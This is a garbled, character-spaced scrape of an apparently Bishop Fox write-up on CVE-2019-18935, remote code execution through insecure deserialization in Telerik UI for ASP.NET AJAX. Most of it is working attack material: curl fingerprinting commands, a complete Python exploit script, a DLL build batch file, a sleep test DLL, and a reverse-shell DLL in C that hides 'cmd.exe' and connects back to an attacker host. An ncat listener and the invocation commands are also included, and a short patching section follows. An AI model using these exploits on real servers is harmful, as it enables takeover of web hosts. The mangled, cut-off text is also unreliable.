[28792] 2021-03-08_CVE-2019-18935通过TelerikUI中的不安全反序列化进行远程代码执行

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2021-03-08_CVE-2019-18935通过TelerikUI中的不安全反序列化进行远程代码执行 C V E - 2 0 1 9 - 1 8 9 3 5   T e l e r i k   U I a l e b   G r o s s   O t s   2 0 2 1 - 0 3 - 0 8 A S P . N E T   A J A X T e l e r i k   U I W e b U I 广 使 J S O N B i s h o p   F o x M S S I n t e r n e t T e l e r i k   U I C V E - 2 0 1 9 - 1 8 9 3 5 2 0 1 7 广 M a r k u s   W u l f t a n g e R a d A s y n c U p l o a d r a u P o s t D a t a 2 0 1 9 r a u P o s t D a t a A s y n c U p l o a d H a n d l e r 使 r a u P o s t D a t a . N E T J a v a S c r i p t S e r i a l i z e r . D e s e r i a l i z e ( )   J a v a S c r i p t S e r i a l i z e r s e t t e r 使 R C E P O S T T e l e r i k . W e b . U I . A s y n c U p l o a d C o n f i g u r a t i o n r a u P o s t D a t a R C E 使 D L L J a v a S c r i p t S e r i a l i z e r S y s t e m . C o n f i g u r a t i o n . I n s t a l l . A s s e m b l y I n s t a l l e r P a t h D L L D L L D L L D L L M a i n ( ) D L L . N E T C V E - 2 0 1 9 - 1 8 9 3 5 C V E - 2 0 1 7 - 1 1 3 1 7 T e l e r i k   U I A S P . N E T   A J A X W e b 使 便 T e l e r i k 2 0 0 7 4 使 R a d A s y n c U p l o a d H T M L U I 使 B u r p 2 0 [ 0 - 9 ] { 2 } ( . [ 0 - 9 ] * ) +   R e g e x 使 c U R L < s c r i p t   s r c = " / W e b R e s o u r c e J a v a S c r i p t L a s t - M o d i f i e d H T T P U I J a v a S c r i p t A S P . N E T   A J A X   Q 1   2 0 1 3 v 2 0 1 3 . 1 . 2 2 0 2 0 1 3 2 2 0 L a s t - M o d i f i e d :   W e d ,   2 0   F e b   2 0 1 3   0 0 : 0 0 : 0 0   G M T H T T P 使 R a d A s y n c U p l o a d T e l e r i k   U I 使 P a u l   T a y l o r R A U _ c r y p t o c u r l   - s k   < H O S T > / T e l e r i k . W e b . U I . W e b R e s o u r c e . a x d ? t y p e = r a u {   " m e s s a g e "   :   " R a d A s y n c U p l o a d   h a n d l e r   i s   r e g i s t e r e d   s u c c e s f u l l y ,   h o w e v e r ,   i t   m a y   n o t   b e   a c c e s s e d   d i r e c t l y . "   } c u r l   - s k L   < H O S T >   |   g r e p   - o E   ' 2 0 [ 0 - 9 ] { 2 } ( . [ 0 - 9 ] * ) + ' W h e n   t h e   f i l e   u p l o a d   s u c c e e d s ,   y o u ' l l   s e e   a   J S O N   r e s p o n s e   c o n t a i n i n g   s o m e   e n c r y p t e d   d a t a   a b o u t   t h e   u p l o a d e d   f i l e : { " f i l e I n f o " : { " F i l e N a m e " : " < N A M E > " , " C o n t e n t T y p e " : " t e x t / h t m l " , " C o n t e n t L e n g t h " : < L E N G T H > , " D a t e J s o n " : " < D A T E > " , " I n d e x " : 0 } ,   " m e t a D a t a " : " V G h p c y B p c 2 4 n d C B y Z W F s I G R h d G E s I G J 1 d C B 0 a G U g Q m F z Z T Y 0 L W V u Y 2 9 k Z W Q g Z G F 0 Y S B s b 2 9 r c y B q d X N 0 I G x p a 2 U g d G h p c y 4 = "   } N o w   t h a t   y o u v e   v e r i f i e d   t h a t   t h e   h a n d l e r   i s   r e g i s t e r e d   a n d   t h e   s o f t w a r e   i s   u s i n g   a   v u l n e r a b l e   v e r s i o n ,   y o u   c a n   p r o c e e d   t o   e x p l o i t   t h e   v u l n e r a b i l i t y . V e r i f y   D e s e r i a l i z a t i o n   V u l n e r a b i l i t y   w i t h   S l e e p ( ) I n   p r e p a r i n g   t o   f u l l y   c o m p r o m i s e   a   r e m o t e   h o s t   w i t h   a   r e v e r s e   s h e l l ,   y o u   c a n   i n i t i a l l y   v e r i f y   t h e   d e s e r i a l i z a t i o n   v u l n e r a b i l i t y   b y   u p l o a d i n g   a n d   l o a d i n g   a   s i m p l e   m i x e d   m o d e   a s s e m b l y   D L L   t h a t   c a u s e s   t h e   w e b   a p p l i c a t i o n   t o   s l e e p   f o r   1 0   s e c o n d s .   A   s i m p l e   p r o g r a m ,   s l e e p . c ,   w i l l   d o   j u s t   t h a t . N o t e   t h a t   I   u s e   C ,   r a t h e r   t h a n   C + + ,   b e c a u s e   I ' v e   e n c o u n t e r e d   r a r e   o c c a s i o n s   w h e r e   I   w a s   u n a b l e   t o   e x e c u t e   c o m p i l e d   C + +   c o d e   o n   a   r e m o t e   s e r v e r .   I   s u s p e c t   t h a t   t h i s   i s   b e c a u s e   t h e   t a r g e t   e n v i r o n m e n t   d i d   s l e e p . c # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < s t d i o . h > B O O L   W I N A P I   D l l M a i n ( H I N S T A N C E   h i n s t D L L ,   D W O R D   f d w R e a s o n ,   L P V O I D   l p R e s e r v e d ) {         i f   ( f d w R e a s o n   = =   D L L _ P R O C E S S _ A T T A C H )                 S l e e p ( 1 0 0 0 0 ) ;     / /   T i m e   i n t e r v a l   i n   m i l l i s e c o n d s .         r e t u r n   T R U E ; } C r e a t e   a   b a r e   C #   c l a s s   i n   e m p t y . c s   t o   c o n s t i t u t e   t h e   m a n a g e d   p o r t i o n   o f   y o u r   m i x e d   m o d e   a s s e m b l y : c l a s s   E m p t y   { } T h e n ,   i n   a   W i n d o w s   e n v i r o n m e n t   w i t h   V i s u a l   S t u d i o   i n s t a l l e d ,   o p e n   a   c o m m a n d   p r o m p t   a n d   r u n   b u i l d _ d l l . b a t   s l e e p . c :   b u i l d _ d l l . b a t @ e c h o   o f f s e t   P R O G R A M = % 1 s e t   B A S E N A M E = % P R O G R A M : ~ 0 , - 2 % f o r   / f   " t o k e n s = 2 - 4   d e l i m s = /   "   % % a   i n   ( " % D A T E % " )   d o   (         s e t   Y Y Y Y = % % c         s e t   M M = % % a         s e t   D D = % % b ) f o r   / f   " t o k e n s = 1 - 4   d e l i m s = / : . "   % % a   i n   ( " % T I M E :   = 0 % " )   d o   (         s e t   H H = % % a
        s e t   H H = % % a         s e t   M I = % % b         s e t   S S = % % c         s e t   F F = % % d ) s e t   D A T E T I M E = % Y Y Y Y % % M M % % D D % % H H % % M I % % S S % % F F % @ e c h o   o n f o r   % % a   i n   ( x 8 6   a m d 6 4 )   d o   (         s e t l o c a l         c a l l   " C : P r o g r a m   F i l e s   ( x 8 6 ) M i c r o s o f t   V i s u a l   S t u d i o 2 0 1 9 C o m m u n i t y V C A u x i l i a r y B u i l d v c v a r s a l l . b a t "   % % a         c s c   / t a r g e t : m o d u l e   e m p t y . c s         c l   / c   % P R O G R A M %         l i n k   / D L L   / L T C G   / C L R I M A G E T Y P E : I J W   / o u t : % B A S E N A M E % _ % D A T E T I M E % _ % % a . d l l   % B A S E N A M E % . o b j   e m p t y . n e t m o d u l e         d e l   % B A S E N A M E % . o b j   e m p t y . n e t m o d u l e         e n d l o c a l ) T h i s   b a t c h   s c r i p t   a c c o m p l i s h e s   t h e   f o l l o w i n g : S e t s   e n v i r o n m e n t   v a r i a b l e s   t o   c o m p i l e   b o t h   3 2 -   a n d   6 4 - b i t   c o d e C o m p i l e s   t h e   e m p t y . c s   C #   p r o g r a m   a s   a   . n e t m o d u l e   f i l e   ( w i t h o u t   g e n e r a t i n g   a n   a s s e m b l y ) C o m p i l e s   t h e   s p e c i f i e d   C   p r o g r a m   ( s l e e p . c ,   i n   t h i s   c a s e )   a s   a n   . o b j   f i l e   ( w i t h o u t   l i n k i n g ) L i n k s   t h e   c o m p i l e d   . n e t m o d u l e   a n d   . o b j   f i l e s ,   w h i c h   c r e a t e s   a   m i x e d   m o d e   a s s e m b l y   D L L   w i t h   a   u n i q u e   n a m e A   C a u t i o n a r y   N o t e   A b o u t   A s s e m b l y   N a m e s T h e   a s s e m b l y ' s   n a m e   a s   s p e c i f i e d   i n   l i n k   / o u t   i s   b a k e d   i n t o   t h e   a s s e m b l y ' s   m a n i f e s t ,   a n d   w i l l   p e r s i s t   e v e n   i f   t h e   f i l e   n a m e   c h a n g e s   o n   d i s k .   I t ' s   c r u c i a l   t h a t   t h e   a s s e m b l y   i s   u n i q u e l y   n a m e d   a t   l i n k i n g   t i m e   s i n c e   a   . N E T   a p p l i c a t i o n   w i l l   o n l y   l o a d   a n   a s s e m b l y   o n c e   w i t h   a   g i v e n   n a m e .   T h i s   m e a n s   t h a t   a n   a s s e m b l y   " s l e e p _ 1 2 3 . d l l "   m a y   c a u s e   t h e   a p p l i c a t i o n   t o   s l e e p   t h e   f i r s t   t i m e   t h a t   D L L   i s   l o a d e d   t h r o u g h   d e s e r i a l i z a t i o n ,   b u t   i t   c e r t a i n l y   w o n ' B e f o r e   u p l o a d i n g   t h e   D L L ,   i t ' s   i m p o r t a n t   t o   u n d e r s t a n d   w h a t ' s   g o i n g   t o   h a p p e n   o n   d i s k   o n   t h e   r e m o t e   s e r v e r .   R a d A s y n c U p l o a d   w i l l   u p l o a d   y o u r   f i l e   t o   a   t e m p o r a r y   d i r e c t o r y   w h o s e   l o c a t i o n   i s   u n d e r   y o u r   c o n t r o l .   I f   y o u   h a p p e n   t o   u p l o a d   t w o   f i l e s   w i t h   t h e   s a m e   n a m e   ( w e ' E x p l o i t T h e   f o l l o w i n g   e x p l o i t   s c r i p t   l e v e r a g e s   t h e   c o r e   R a d A s y n c U p l o a d   e n c r y p t i o n   l o g i c   p r o v i d e d   b y   P a u l   T a y l o r ' s   R A U _ c r y p t o . p y   t o   c r a f t   a n   e n c r y p t e d   r a u P o s t D a t a   P O S T   p a r a m e t e r ;   t h i s   e n a b l e s   a c c e s s   t o   t h e   v u l n e r a b l e   A s y n c U p l o a d H a n d l e r   c l a s s   t h r o u g h   w h i c h   w e   c a n   u p l o a d   f i l e s   C V E - 2 0 1 9 - 1 8 9 3 5 . p y # ! / u s r / b i n / e n v   p y t h o n 3 #   I m p o r t   e n c r y p t i o n   r o u t i n e s . f r o m   s y s   i m p o r t   p a t h p a t h . i n s e r t ( 1 ,   ' R A U _ c r y p t o ' ) f r o m   R A U _ c r y p t o   i m p o r t   R A U C i p h e r f r o m   a r g p a r s e   i m p o r t   A r g u m e n t P a r s e r f r o m   j s o n   i m p o r t   d u m p s ,   l o a d s f r o m   o s . p a t h   i m p o r t   b a s e n a m e ,   s p l i t e x t f r o m   p p r i n t   i m p o r t   p p r i n t f r o m   r e q u e s t s   i m p o r t   p o s t f r o m   r e q u e s t s . p a c k a g e s . u r l l i b 3   i m p o r t   d i s a b l e _ w a r n i n g s f r o m   s y s   i m p o r t   s t d e r r f r o m   t i m e   i m p o r t   t i m e f r o m   u r l l i b 3 . e x c e p t i o n s   i m p o r t   I n s e c u r e R e q u e s t W a r n i n g d i s a b l e _ w a r n i n g s ( c a t e g o r y = I n s e c u r e R e q u e s t W a r n i n g ) d e f   s e n d _ r e q u e s t ( f i l e s ) :         r e s p o n s e   =   p o s t ( u r l ,   f i l e s = f i l e s ,   v e r i f y = F a l s e )         t r y :                 r e s u l t   =   l o a d s ( r e s p o n s e . t e x t )                 r e s u l t [ ' m e t a D a t a ' ]   =   l o a d s ( R A U C i p h e r . d e c r y p t ( r e s u l t [ ' m e t a D a t a ' ] ) )                 p p r i n t ( r e s u l t )         e x c e p t :     p r i n t ( r e s p o n s e . t e x t ) d e f   b u i l d _ r a u p o s t d a t a ( o b j e c t ,   t y p e ) :         r e t u r n   R A U C i p h e r . e n c r y p t ( d u m p s ( o b j e c t ) )   +   ' & '   +   R A U C i p h e r . e n c r y p t ( t y p e ) d e f   u p l o a d ( ) :         #   B u i l d   r a u P o s t D a t a .         o b j e c t   =   {                 ' T a r g e t F o l d e r ' :   R A U C i p h e r . a d d H m a c ( R A U C i p h e r . e n c r y p t ( ' ' ) ,   v e r s i o n ) ,                 ' T e m p T a r g e t F o l d e r ' :   R A U C i p h e r . a d d H m a c ( R A U C i p h e r . e n c r y p t ( t e m p _ t a r g e t _ f o l d e r ) ,   v e r s i o n ) ,                 ' M a x F i l e S i z e ' :   0 ,                 ' T i m e T o L i v e ' :   {                         ' T i c k s ' :   1 4 4 0 0 0 0 0 0 0 0 0 0 ,                         ' D a y s ' :   0 ,                         ' H o u r s ' :   4 0 ,                         ' M i n u t e s ' :   0 ,                         ' S e c o n d s ' :   0 ,                         ' M i l l i s e c o n d s ' :   0 ,                         ' T o t a l D a y s ' :   1 . 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 ,
                        ' T o t a l H o u r s ' :   4 0 ,                         ' T o t a l M i n u t e s ' :   2 4 0 0 ,                         ' T o t a l S e c o n d s ' :   1 4 4 0 0 0 ,                         ' T o t a l M i l l i s e c o n d s ' :   1 4 4 0 0 0 0 0 0                 } ,                 ' U s e A p p l i c a t i o n P o o l I m p e r s o n a t i o n ' :   F a l s e         }         t y p e   =   ' T e l e r i k . W e b . U I . A s y n c U p l o a d C o n f i g u r a t i o n ,   T e l e r i k . W e b . U I ,   V e r s i o n = '   +   v e r s i o n   +   ' ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = 1 2 1 f a e 7 8 1 6 5 b a 3 d 4 '         r a u p o s t d a t a   =   b u i l d _ r a u p o s t d a t a ( o b j e c t ,   t y p e )         w i t h   o p e n ( f i l e n a m e _ l o c a l ,   ' r b ' )   a s   f :                 p a y l o a d   =   f . r e a d ( )         m e t a d a t a   =   {                 ' T o t a l C h u n k s ' :   1 ,                 ' C h u n k I n d e x ' :   0 ,                 ' T o t a l F i l e S i z e ' :   1 ,                 ' U p l o a d I D ' :   f i l e n a m e _ r e m o t e     #   D e t e r m i n e s   r e m o t e   f i l e n a m e   o n   d i s k .         }         #   B u i l d   m u l t i p a r t   f o r m   d a t a .         f i l e s   =   {                 ' r a u P o s t D a t a ' :   ( N o n e ,   r a u p o s t d a t a ) ,                 ' f i l e ' :   ( f i l e n a m e _ r e m o t e ,   p a y l o a d ,   ' a p p l i c a t i o n / o c t e t - s t r e a m ' ) ,                 ' f i l e N a m e ' :   ( N o n e ,   f i l e n a m e _ r e m o t e ) ,                 ' c o n t e n t T y p e ' :   ( N o n e ,   ' a p p l i c a t i o n / o c t e t - s t r e a m ' ) ,                 ' l a s t M o d i f i e d D a t e ' :   ( N o n e ,   ' 1 9 7 0 - 0 1 - 0 1 T 0 0 : 0 0 : 0 0 . 0 0 0 Z ' ) ,                 ' m e t a d a t a ' :   ( N o n e ,   d u m p s ( m e t a d a t a ) )         }         #   S e n d   r e q u e s t .         p r i n t ( ' [ * ]   L o c a l   p a y l o a d   n a m e :   ' ,   f i l e n a m e _ l o c a l ,   f i l e = s t d e r r )         p r i n t ( ' [ * ]   D e s t i n a t i o n   f o l d e r :   ' ,   t e m p _ t a r g e t _ f o l d e r ,   f i l e = s t d e r r )         p r i n t ( ' [ * ]   R e m o t e   p a y l o a d   n a m e : ' ,   f i l e n a m e _ r e m o t e ,   f i l e = s t d e r r )         p r i n t ( f i l e = s t d e r r )         s e n d _ r e q u e s t ( f i l e s ) d e f   d e s e r i a l i z e ( ) :         #   B u i l d   r a u P o s t D a t a .         o b j e c t   =   {                 ' P a t h ' :   ' f i l e : / / / '   +   t e m p _ t a r g e t _ f o l d e r . r e p l a c e ( ' ' ,   ' / ' )   +   ' / '   +   f i l e n a m e _ r e m o t e         }         t y p e   =   ' S y s t e m . C o n f i g u r a t i o n . I n s t a l l . A s s e m b l y I n s t a l l e r ,   S y s t e m . C o n f i g u r a t i o n . I n s t a l l ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = b 0 3 f 5 f 7 f 1 1 d 5 0 a 3 a '         r a u p o s t d a t a   =   b u i l d _ r a u p o s t d a t a ( o b j e c t ,   t y p e )         #   B u i l d   m u l t i p a r t   f o r m   d a t a .         f i l e s   =   {                 ' r a u P o s t D a t a ' :   ( N o n e ,   r a u p o s t d a t a ) ,     #   O n l y   n e e d   t h i s   n o w .                 ' ' :   ' '     #   O n e   e x t r a   i n p u t   i s   r e q u i r e d   f o r   t h e   p a g e   t o   p r o c e s s   t h e   r e q u e s t .         }         #   S e n d   r e q u e s t .         p r i n t ( ' n [ * ]   T r i g g e r i n g   d e s e r i a l i z a t i o n . . . n ' ,   f i l e = s t d e r r )         s t a r t   =   t i m e ( )         s e n d _ r e q u e s t ( f i l e s )         e n d   =   t i m e ( )         p r i n t ( ' n [ * ]   R e s p o n s e   t i m e : ' ,   r o u n d ( e n d   -   s t a r t ,   2 ) ,   ' s e c o n d s ' ,   f i l e = s t d e r r ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         p a r s e r   =   A r g u m e n t P a r s e r ( d e s c r i p t i o n = ' E x p l o i t   f o r   C V E - 2 0 1 9 - 1 8 9 3 5 ,   a   . N E T   d e s e r i a l i z a t i o n   v u l n e r a b i l i t y   i n   T e l e r i k   U I   f o r   A S P . N E T   A J A X . ' )         p a r s e r . a d d _ a r g u m e n t ( ' - t ' ,   d e s t = ' t e s t _ u p l o a d ' ,   a c t i o n = ' s t o r e _ t r u e ' ,   h e l p = " j u s t   t e s t   f i l e   u p l o a d ,   d o n ' t   e x p l o i t   d e s e r i a l i z a t i o n   v u l n " )         p a r s e r . a d d _ a r g u m e n t ( ' - v ' ,   d e s t = ' v e r s i o n ' ,   r e q u i r e d = T r u e ,   h e l p = ' s o f t w a r e   v e r s i o n ' )         p a r s e r . a d d _ a r g u m e n t ( ' - p ' ,   d e s t = ' p a y l o a d ' ,   r e q u i r e d = T r u e ,   h e l p = ' m i x e d   m o d e   a s s e m b l y   D L L ' )         p a r s e r . a d d _ a r g u m e n t ( ' - f ' ,   d e s t = ' f o l d e r ' ,   r e q u i r e d = T r u e ,   h e l p = ' d e s t i n a t i o n   f o l d e r   o n   t a r g e t ' )         p a r s e r . a d d _ a r g u m e n t ( ' - u ' ,   d e s t = ' u r l ' ,   r e q u i r e d = T r u e ,   h e l p = ' h t t p s : / / < H O S T > / T e l e r i k . W e b . U I . W e b R e s o u r c e . a x d ? t y p e = r a u ' )         a r g s   =   p a r s e r . p a r s e _ a r g s ( )         t e m p _ t a r g e t _ f o l d e r   =   a r g s . f o l d e r . r e p l a c e ( ' / ' ,   ' ' )         v e r s i o n   =   a r g s . v e r s i o n         f i l e n a m e _ l o c a l   =   a r g s . p a y l o a d         f i l e n a m e _ r e m o t e   =   s t r ( t i m e ( ) )   +   s p l i t e x t ( b a s e n a m e ( f i l e n a m e _ l o c a l ) ) [ 1 ]         u r l   =   a r g s . u r l         u p l o a d ( )         i f   n o t   a r g s . t e s t _ u p l o a d :                 d e s e r i a l i z e ( ) W i t h o u t   b e i n g   a b l e   t o   r e m o t e l y   d e t e r m i n e   t h e   a r c h i t e c t u r e   o f   t h e   w e b   s e r v e r ' s   u n d e r l y i n g   h o s t ,   y o u   m a y   n e e d   t o   a t t e m p t   t o   t r i g g e r   t h i s   v u l n e r a b i l i t y   w i t h   b o t h   t h e   3 2 -   a n d   6 4 - b i t   D L L   v e r s i o n s   u n t i l   y o u   f i n d   o n e   t h a t   w o r k s .   I n v o k e   t h e   s c r i p t   a s   f o l l o w s : p y t h o n 3   C V E - 2 0 1 9 - 1 8 9 3 5 . p y   - u   < H O S T > / T e l e r i k . W e b . U I . W e b R e s o u r c e . a x d ? t y p e = r a u   - v   < V E R S I O N >   - f   ' C : W i n d o w s T e m p '   - p   s l e e p _ 2 0 1 9 1 2 1 2 0 5 2 7 1 3 5 5 _ x 8 6 . d l l
p y t h o n 3   C V E - 2 0 1 9 - 1 8 9 3 5 . p y   - u   < H O S T > / T e l e r i k . W e b . U I . W e b R e s o u r c e . a x d ? t y p e = r a u   - v   < V E R S I O N >   - f   ' C : W i n d o w s T e m p '   - p   s l e e p _ 2 0 1 9 1 2 1 2 0 5 2 7 1 3 5 5 _ x 8 6 . d l l [ * ]   L o c a l   p a y l o a d   n a m e :     s l e e p _ 2 0 1 9 1 2 1 2 0 5 2 7 1 3 5 5 _ x 8 6 . d l l [ * ]   D e s t i n a t i o n   f o l d e r :     C : W i n d o w s T e m p [ * ]   R e m o t e   p a y l o a d   n a m e :   1 5 7 6 1 4 2 9 8 7 . 9 1 8 6 2 5 . d l l { ' f i l e I n f o ' :   { ' C o n t e n t L e n g t h ' :   7 5 2 6 4 ,                             ' C o n t e n t T y p e ' :   ' a p p l i c a t i o n / o c t e t - s t r e a m ' ,                             ' D a t e J s o n ' :   ' 1 9 7 0 - 0 1 - 0 1 T 0 0 : 0 0 : 0 0 . 0 0 0 Z ' ,                             ' F i l e N a m e ' :   ' 1 5 7 6 1 4 2 9 8 7 . 9 1 8 6 2 5 . d l l ' ,                             ' I n d e x ' :   0 } ,   ' m e t a D a t a ' :   { ' A s y n c U p l o a d T y p e N a m e ' :   ' T e l e r i k . W e b . U I . U p l o a d e d F i l e I n f o ,   '                                                                           ' T e l e r i k . W e b . U I ,   V e r s i o n = < V E R S I O N > ,   '                                                                           ' C u l t u r e = n e u t r a l ,   '                                                                           ' P u b l i c K e y T o k e n = < T O K E N > ' ,                             ' T e m p F i l e N a m e ' :   ' 1 5 7 6 1 4 2 9 8 7 . 9 1 8 6 2 5 . d l l ' } } [ * ]   T r i g g e r i n g   d e s e r i a l i z a t i o n . . . < t i t l e > R u n t i m e   E r r o r < / t i t l e > < s p a n > < H 1 > S e r v e r   E r r o r   i n   ' / '   A p p l i c a t i o n . < h r   w i d t h = 1 0 0 %   s i z e = 1   c o l o r = s i l v e r > < / H 1 > < h 2 >   < i > R u n t i m e   E r r o r < / i >   < / h 2 > < / s p a n > . . . o m i t t e d   f o r   b r e v i t y . . . [ * ]   R e s p o n s e   t i m e :   1 3 . 0 1   s e c o n d s I f   t h e   a p p l i c a t i o n   p a u s e s   f o r   a p p r o x i m a t e l y   1 0   s e c o n d s   b e f o r e   r e s p o n d i n g ,   y o u ' v e   g o t   a   w o r k i n g   d e s e r i a l i z a t i o n   e x p l o i t ! E x p l o i t   w i t h   R e v e r s e   S h e l l N o w   t h a t   w e ' v e   v e r i f i e d   t h a t   w e   c a n   e x p l o i t   t h i s   v u l n e r a b l e   v e r s i o n   o f   T e l e r i k   U I   f o r   A S P . N E T   A J A X ,   w e   c a n   i n s t e a d   e x p l o i t   i t   w i t h   a   D L L   t h a t   s p a w n s   a   r e v e r s e   s h e l l   t o   c o n n e c t   b a c k   t o   a   s e r v e r   t h a t   w e   c o n t r o l .   W e   u s e   r e v _ s h e l l . c   b e l o w ,   a   p r o g r a m   t h a t   l a u n c h e s   a   r e v e r s e   s h e l l   a s   a   t h r e a d   w h e n   t h e   D L L   i s   l o a d e d ;   t h e   t h r e a d e d   n a t u r e   o f   t h i s   p r o g r a m   p r e v e n t s   t h e   s h e l l   p r o c e s s   f r o m   b l o c k i n g   t h e   w e b   a p p l i c a t i o n ' # i n c l u d e   < w i n s o c k 2 . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < w i n d o w s . h > # p r a g m a   c o m m e n t ( l i b ,   " w s 2 _ 3 2 " ) # d e f i n e   H O S T   " < H O S T > " # d e f i n e   P O R T   < P O R T > W S A D A T A   w s a D a t a ; S O C K E T   W i n s o c k ; S O C K E T   S o c k ; s t r u c t   s o c k a d d r _ i n   h a x ; c h a r   a i p _ a d d r [ 1 6 ] ; S T A R T U P I N F O   i n i _ p r o c e s s o ; P R O C E S S _ I N F O R M A T I O N   p r o c e s s o _ i n f o ; / /   A d a p t e d   f r o m   h t t p s : / / g i t h u b . c o m / i n f o s k i r m i s h / W i n d o w - T o o l s / b l o b / m a s t e r / S i m p l e % 2 0 R e v e r s e % 2 0 S h e l l / s h e l l . c v o i d   R e v e r s e S h e l l ( ) {         W S A S t a r t u p ( M A K E W O R D ( 2 ,   2 ) ,   & w s a D a t a ) ;         W i n s o c k = W S A S o c k e t ( A F _ I N E T ,   S O C K _ S T R E A M ,   I P P R O T O _ T C P ,   N U L L ,   0 ,   0 ) ;         s t r u c t   h o s t e n t   * h o s t   =   g e t h o s t b y n a m e ( H O S T ) ;         s t r c p y ( a i p _ a d d r ,   i n e t _ n t o a ( * ( ( s t r u c t   i n _ a d d r   * ) h o s t - > h _ a d d r ) ) ) ;         h a x . s i n _ f a m i l y   =   A F _ I N E T ;         h a x . s i n _ p o r t   =   h t o n s ( P O R T ) ;         h a x . s i n _ a d d r . s _ a d d r   =   i n e t _ a d d r ( a i p _ a d d r ) ;         W S A C o n n e c t ( W i n s o c k ,   ( S O C K A D D R * ) & h a x ,   s i z e o f ( h a x ) ,   N U L L ,   N U L L ,   N U L L ,   N U L L ) ;         i f   ( W S A G e t L a s t E r r o r ( )   = =   0 )   {                 m e m s e t ( & i n i _ p r o c e s s o ,   0 ,   s i z e o f ( i n i _ p r o c e s s o ) ) ;                 i n i _ p r o c e s s o . c b   =   s i z e o f ( i n i _ p r o c e s s o ) ;                 i n i _ p r o c e s s o . d w F l a g s   =   S T A R T F _ U S E S T D H A N D L E S ;                 i n i _ p r o c e s s o . h S t d I n p u t   =   i n i _ p r o c e s s o . h S t d O u t p u t   =   i n i _ p r o c e s s o . h S t d E r r o r   =   ( H A N D L E ) W i n s o c k ;                 c h a r   * m y A r r a y [ 4 ]   =   {   " c m " ,   " d . e " ,   " x " ,   " e "   } ;                 c h a r   c o m m a n d [ 8 ]   =   " " ;                 s n p r i n t f ( c o m m a n d ,   s i z e o f ( c o m m a n d ) ,   " % s % s % s % s " ,   m y A r r a y [ 0 ] ,   m y A r r a y [ 1 ] ,   m y A r r a y [ 2 ] ,   m y A r r a y [ 3 ] ) ;                 C r e a t e P r o c e s s ( N U L L ,   c o m m a n d ,   N U L L ,   N U L L ,   T R U E ,   0 ,   N U L L ,   N U L L ,   & i n i _ p r o c e s s o ,   & p r o c e s s o _ i n f o ) ;         } } D W O R D   W I N A P I   M a i n T h r e a d ( L P V O I D   l p P a r a m ) {         R e v e r s e S h e l l ( ) ;         r e t u r n   0 ; }
J S O N 使 使 使 S l e e p 使 D L L D L L 使 W e b 1 0 s l e e p . c 使 C C   + + C   + + 怀 M i c r o s o f t   V i s u a l   C   + + B O O L   W I N A P I   D l l M a i n ( H I N S T A N C E   h i n s t D L L ,   D W O R D   f d w R e a s o n ,   L P V O I D   l p R e s e r v e d )   {         H A N D L E   h T h r e a d ;         i f   ( f d w R e a s o n   = =   D L L _ P R O C E S S _ A T T A C H )                 h T h r e a d   =   C r e a t e T h r e a d ( 0 ,   0 ,   M a i n T h r e a d ,   0 ,   0 ,   0 ) ;         r e t u r n   T R U E ; } M o d i f y   r e v _ s h e l l . c   w i t h   t h e   h o s t n a m e   a n d   p o r t   o f   t h e   C 2   s e r v e r   w h e r e   y o u ' l l   b e   l i s t e n i n g   f o r   a   c a l l b a c k : s e d   - i   . b u   ' s / < H O S T > / < H O S T > / ;   s / < P O R T > / < P O R T > / '   r e v _ s h e l l . c U s i n g   t h e   s a m e   m e t h o d   o f   c o m p i l i n g   a n d   l i n k i n g   d e s c r i b e d   a b o v e ,   g e n e r a t e   y o u r   m i x e d   m o d e   a s s e m b l y   D L L : b u i l d _ d l l . b a t   r e v _ s h e l l . c O p e n   a   N e t c a t   l i s t e n e r   t o   c a t c h   t h e   c a l l b a c k : s u d o   n c a t   - l v p   < P O R T > T h e n   u p l o a d   a n d   l o a d   y o u r   D L L ! p y t h o n 3   C V E - 2 0 1 9 - 1 8 9 3 5 . p y   - u   < H O S T > / T e l e r i k . W e b . U I . W e b R e s o u r c e . a x d ? t y p e = r a u   - v   < V E R S I O N >   - f   ' C : W i n d o w s T e m p '   - p   r e v _ s h e l l _ 2 0 1 9 1 2 1 2 0 5 2 7 1 3 5 5 _ x 8 6 . d l l H o w   t o   P a t c h T h e   T e l e r i k   s e c u r i t y   a d v i s o r y   t e l l s   y o u   w h a t   y o u   n e e d   t o   k n o w ,   b u t   w e l l   r e p e a t   t h e   m o s t   i m p o r t a n t   p a r t s   h e r e : U p g r a d e   T e l e r i k   f o r   A S P . N E T   A J A X   t o   R 3   2 0 1 9   S P 1   ( v 2 0 1 9 . 3 . 1 0 2 3 )   o r   l a t e r . R e a d   T e l e r i k ' s   R a d A s y n c U p l o a d   s e c u r i t y   g u i d e   i n   i t s   e n t i r e t y ,   a n d   c o n f i g u r e   t h e   c o n t r o l   a c c o r d i n g   t o   t h e   r e c o m m e n d e d   s e c u r i t y   s e t t i n g s . C o n c l u s i o n T h i s   w r i t e - u p   h a s   d e m o n s t r a t e d   h o w   a n   a t t a c k e r   c a n   c h a i n   e x p l o i t s   f o r   u n r e s t r i c t e d   f i l e   u p l o a d   ( C V E - 2 0 1 7 - 1 1 3 1 7 )   a n d   i n s e c u r e   d e s e r i a l i z a t i o n   ( C V E - 2 0 1 9 - 1 8 9 3 5 )   v u l n e r a b i l i t i e s   t o   e x e c u t e   a r b i t r a r y   c o d e   o n   a   r e m o t e   m a c h i n e . I n   r e c e n t   y e a r s ,   i n s e c u r e   d e s e r i a l i z a t i o n   h a s   e m e r g e d   a s   a n   e f f e c t i v e   a t t a c k   v e c t o r   f o r   e x e c u t i n g   a r b i t r a r y   c o d e   i n   o b j e c t - o r i e n t e d   p r o g r a m m i n g   f r a m e w o r k s .   A s   w e   c o n t i n u e   t o   i d e n t i f y   B i g   t h a n k s   a g a i n   t o   M a r k u s   W u l f t a n g e   ( @ m w u l f t a n g e )   a n d   P a u l   T a y l o r   ( @ b a o 7 u o ) ,   b o t h   o f   w h o m   p a v e d   t h e   w a y   f o r   t h i s   w o r k   t h r o u g h   t h e i r   p r i o r   r e s e a r c h . S H A R E I N D E X C o n t e n t s V u l n e r a b i l i t y   D e t a i l s O v e r v i e w   o f   V u l n e r a b i l i t i e s   i n   R a d A s y n c U p l o a d C V E - 2 0 